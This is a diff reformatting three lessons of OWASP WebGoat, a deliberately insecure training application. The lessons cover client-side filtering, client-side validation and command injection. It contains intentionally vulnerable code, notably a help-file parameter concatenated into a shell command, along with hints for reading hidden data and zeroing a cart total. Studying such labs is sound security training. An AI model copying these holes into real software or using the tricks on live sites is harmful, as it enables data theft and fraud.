+ "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
@ -82,23 +85,20 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new P()
.addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(new P().addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords");
t.setStyle("display: none");
workspaceDiv.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
.setWidth("90%").setAlign("center");
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement("UserID"));
@ -113,7 +113,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(t);
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@ -127,29 +128,34 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The category value
*/
protected ElementContainer doStage1(WebSession s) {
protected ElementContainer doStage1(WebSession s)
{
ElementContainer ec = new ElementContainer();
StringBuffer answerString = null;
int answer = 0;
try {
answerString = new StringBuffer(s.getParser().getStringParameter(
ANSWER, ""));
try
{
answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, ""));
answer = Integer.parseInt(answerString.toString());
} catch (NumberFormatException e) {
} catch (NumberFormatException e)
{
// e.printStackTrace();
}
if (answer == 450000) {
if (answer == 450000)
{
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
} else {
}
else
{
ec.addElement(stage1Content(s));
}
@ -157,7 +163,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
}
protected Element doStage2(WebSession s) {
protected Element doStage2(WebSession s)
{
ElementContainer ec = new ElementContainer();
/**
@ -168,31 +175,36 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file);
if (content.indexOf("[Managers/Manager/text()") != -1) {
if (content.indexOf("[Managers/Manager/text()") != -1)
{
makeSuccess(s);
ec.addElement(stage2Content(s));
} else {
}
else
{
ec.addElement(stage2Content(s));
}
return ec;
}
protected ElementContainer stage1Content(WebSession s) {
protected ElementContainer stage1Content(WebSession s)
{
ElementContainer ec = new ElementContainer();
try {
try
{
ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) {
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD()
.addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT"));
@ -200,7 +212,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(t1);
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@ -208,9 +221,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec;
}
protected ElementContainer stage2Content(WebSession s) {
protected ElementContainer stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer();
try {
try
{
ec.addElement(createMainContent(s));
@ -219,22 +234,24 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) {
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
/*tr.addElement(new TD()
.addElement("Press 'Submit' when you believe you have completed the lesson."));
/*
* tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have
* completed the lesson."));
*/
Element b = ECSFactory
.makeButton("Click here when you believe you have completed the lesson.");
Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr);
ec.addElement(t1);
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@ -242,28 +259,25 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec;
}
protected Select createDropDown() {
protected Select createDropDown()
{
Select select = new Select("UserSelect");
select.setID("UserSelect");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option(
"Choose Employee", "0", "Choose Employee");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee");
select.addElement(option);
option = new org.apache.ecs.html.Option("Larry Stooge", "101",
"Larry Stooge");
option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge");
select.addElement(option);
option = new org.apache.ecs.html.Option("Curly Stooge", "103",
"Curly Stooge");
option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge");
select.addElement(option);
option = new org.apache.ecs.html.Option("Eric Walker", "104",
"Eric Walker");
option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker");
select.addElement(option);
@ -271,28 +285,23 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
select.addElement(option);
option = new org.apache.ecs.html.Option("Jerry Mouse", "106",
"Jerry Mouse");
option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse");
select.addElement(option);
option = new org.apache.ecs.html.Option("David Giambi", "107",
"David Giambi");
option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi");
select.addElement(option);
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108",
"Bruce McGuirre");
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre");
select.addElement(option);
option = new org.apache.ecs.html.Option("Sean Livingston", "109",
"Sean Livingston");
option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston");
select.addElement(option);
option = new org.apache.ecs.html.Option("Joanne McDougal", "110",
"Joanne McDougal");
option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal");
select.addElement(option);
@ -304,7 +313,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
}
protected Category getDefaultCategory() {
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
@ -313,17 +323,16 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
*
* @return The hints value
*/
public List<String> getHints(WebSession s) {
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
hints
.add("Use Firebug to find where the information is stored on the client side.");
hints.add("Use Firebug to find where the information is stored on the client side.");
hints
.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Look in the last row of the hidden table.");
@ -333,31 +342,33 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
hints.add("The server uses an XPath query agasinst an XML database.");
hints
.add("The query currently returns all of the contents of the database.");
hints.add("The query currently returns all of the contents of the database.");
hints
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
hints.add("Try using a filter operator.");
hints
.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
hints.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
return hints;
}
public String getInstructions(WebSession s) {
public String getInstructions(WebSession s)
{
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, "
+ "examine the contents of the page to see what extra information you can find.";
} else if (getLessonTracker(s).getStage() == 2) {
}
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see.";
}
@ -366,7 +377,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() {
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@ -392,28 +404,37 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The title value
*/
public String getTitle() {
public String getTitle()
{
return ("LAB: Client Side Filtering");
}
private String getFileContent(String content) {
private String getFileContent(String content)
{
BufferedReader is = null;
StringBuffer sb = new StringBuffer();
try {
try
{
is = new BufferedReader(new FileReader(new File(content)));
String s = null;
while ((s = is.readLine()) != null) {
while ((s = is.readLine()) != null)
{
sb.append(s);
}
} catch (Exception e) {
} catch (Exception e)
{
e.printStackTrace();
} finally {
if (is != null) {
try {
} finally
{
if (is != null)
{
try
{
is.close();
} catch (IOException ioe) {
} catch (IOException ioe)
{
}
}
@ -422,7 +443,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return sb.toString();
}
public Element getCredits() {
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -21,7 +21,9 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
public class ClientSideValidation extends SequentialLessonAdapter {
public class ClientSideValidation extends SequentialLessonAdapter
{
/**
* Description of the Method
@ -31,48 +33,55 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return Description of the Return Value
*/
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true;
protected Element createContent(WebSession s) {
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) {
protected Element doStage1(WebSession s)
{
return evalStage1(s);
}
protected Element doStage2(WebSession s) {
protected Element doStage2(WebSession s)
{
return stage2Content(s);
}
protected Element evalStage1(WebSession s) {
protected Element evalStage1(WebSession s)
{
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
//test success
// test success
if (param1.equalsIgnoreCase("platinum")
|| param1.equalsIgnoreCase("gold")
|| param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("bronze")
|| param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo")) {
if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo"))
{
getLessonTracker(s).setStage(2);
//s.resetHintCount();
// s.resetHintCount();
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
} else {
if (!stage1FirstVisit) {
}
else
{
if (!stage1FirstVisit)
{
s.setMessage("Keep looking for the coupon code.");
}
stage1FirstVisit = false;
@ -84,21 +93,18 @@ public class ClientSideValidation extends SequentialLessonAdapter {
}
protected Element stage1Content(WebSession s) {
protected Element stage1Content(WebSession s)
{
ElementContainer ec = new ElementContainer();
try {
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
try
{
ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart")));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
@ -106,27 +112,26 @@ public class ClientSideValidation extends SequentialLessonAdapter {
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element stage2Content(WebSession s) {
protected Element stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer();
try {
try
{
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart")));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
@ -136,62 +141,63 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// test success
float grandTotal = s.getParser()
.getFloatParameter("GRANDTOT", 0.0f);
float grandTotal = s.getParser().getFloatParameter("GRANDTOT", 0.0f);
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) {
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit)
{
makeSuccess(s);
} else {
}
else
{
if (!stage2FirstVisit) {
if (!stage2FirstVisit)
{
s.setMessage("Your order isn't free yet.");
}
stage2FirstVisit = false;
}
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected ElementContainer createTotalTable(WebSession s) {
protected ElementContainer createTotalTable(WebSession s)
{
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) {
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD()
.addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "SUBTOT", s.getParser()
.getStringParameter("SUBTOT", "0")).setReadOnly(true))
.setAlign("right"));
new Input(Input.TEXT, "SUBTOT", s.getParser().getStringParameter("SUBTOT",
"0"))
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Total to be charged to your credit card:"));
tr.addElement(new TD().addElement("Total to be charged to your credit card:"));
tr.addElement(new TD()
.addElement(
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "GRANDTOT", s.getParser()
.getStringParameter("GRANDTOT", "0"))
.setReadOnly(true)).setAlign("right"));
.getStringParameter("GRANDTOT", "0")).setReadOnly(true))
.setAlign("right"));
t.addElement(tr);
t.addElement(tr);
@ -201,8 +207,7 @@ public class ClientSideValidation extends SequentialLessonAdapter {
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:"));
@ -222,7 +227,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
}
protected int getTotalQty(WebSession s) {
protected int getTotalQty(WebSession s)
{
int quantity = 0;
@ -234,36 +240,33 @@ public class ClientSideValidation extends SequentialLessonAdapter {
return quantity;
}
protected ElementContainer createQtyTable(WebSession s) {
protected ElementContainer createQtyTable(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
.setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) {
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now")
.setWidth("70%"));
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter(
"PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right"));
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1",
"69.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "0"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();");
@ -271,84 +274,78 @@ public class ClientSideValidation extends SequentialLessonAdapter {
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter(
"TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter(
"PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right"));
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2",
"27.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter(
"QTY2", "0"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter(
"TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter(
"PRC3", "1599.99")).setSize(10).setReadOnly(true))
.setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter(
"QTY3", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter(
"TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr
.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser()
.getStringParameter("PRC4", "299.99")).setSize(10)
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter(
"QTY4", "0"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3",
"1599.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter(
"TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4",
"299.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
ec.addElement(t);
return ec;
}
protected Category getDefaultCategory() {
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
@ -358,27 +355,21 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and " +
"step through the JavaScript to see the decrypted values.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and "
+ "step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " +
"'The total charged to your credit card:' and set the value to 0.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to "
+ "'The total charged to your credit card:' and set the value to 0.");
return hints;
@ -389,13 +380,16 @@ public class ClientSideValidation extends SequentialLessonAdapter {
*
* @return The instructions value
*/
public String getInstructions(WebSession s) {
public String getInstructions(WebSession s)
{
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
}
else if (getLessonTracker(s).getStage() == 2) {
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to get your entire order for free.";
}
return (instructions);
@ -403,7 +397,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() {
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@ -412,7 +407,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
*
* @return The title value
*/
public String getTitle() {
public String getTitle()
{
return "Insecure Client Storage";
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.File;
@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.StringTokenizer;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -17,32 +17,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -55,11 +54,11 @@ public class CommandInjection extends LessonAdapter
private String osName = System.getProperty("os.name");
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -68,8 +67,7 @@ public class CommandInjection extends LessonAdapter
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
try
{
String helpFile = s.getParser().getRawParameter(HELP_FILE,
"BasicAuthentication.help");
String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help");
if (getWebgoatContext().isDefuseOSCommands()
&& (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
{
@ -80,47 +78,31 @@ public class CommandInjection extends LessonAdapter
}
index = index + 1;
int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
System.out.println("Command = ["
+ helpFile.substring(index, helpFileLen).trim()
.toLowerCase() + "]");
if ((osName.indexOf("Windows") != -1 && (helpFile.substring(
index, helpFileLen).trim().toLowerCase().equals(
"netstat -a")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("dir")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("ls")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("ifconfig") || helpFile
.substring(index, helpFileLen).trim().toLowerCase()
.equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals(
"ifconfig #") || helpFile
.substring(index, helpFileLen).trim()
.toLowerCase().equals("ipconfig #")))
System.out.println("Command = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]");
if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase()
.equals("netstat -a")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile
.substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile
.substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #")))
{
illegalCommand = false;
}
else
{
s
.setMessage("It appears that you are on the right track. "
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
}
}
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1
&& helpFile.indexOf(';') == -1)
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1)
{
if (helpFile.length() > 0)
{
@ -132,8 +114,7 @@ public class CommandInjection extends LessonAdapter
}
else
{
s
.setMessage("It appears that you are on the right track. "
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "This lesson is a command injection lesson, not access control.");
}
@ -146,11 +127,9 @@ public class CommandInjection extends LessonAdapter
}
File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
ec
.addElement(new StringElement(
"You are currently viewing: <b>"
+ (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;"
: helpFile.toString()) + "</b>"));
ec.addElement(new StringElement("You are currently viewing: <b>"
+ (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;" : helpFile.toString())
+ "</b>"));
if (!illegalCommand)
{
@ -160,47 +139,36 @@ public class CommandInjection extends LessonAdapter
if (osName.indexOf("Windows") != -1)
{
// Add quotes around the filename to avoid having special characters in DOS filenames
results = exec(s, "cmd.exe /c dir /b \""
+ safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \""
+ new File(safeDir, helpFile).getPath() + "\"");
// Add quotes around the filename to avoid having special characters in DOS
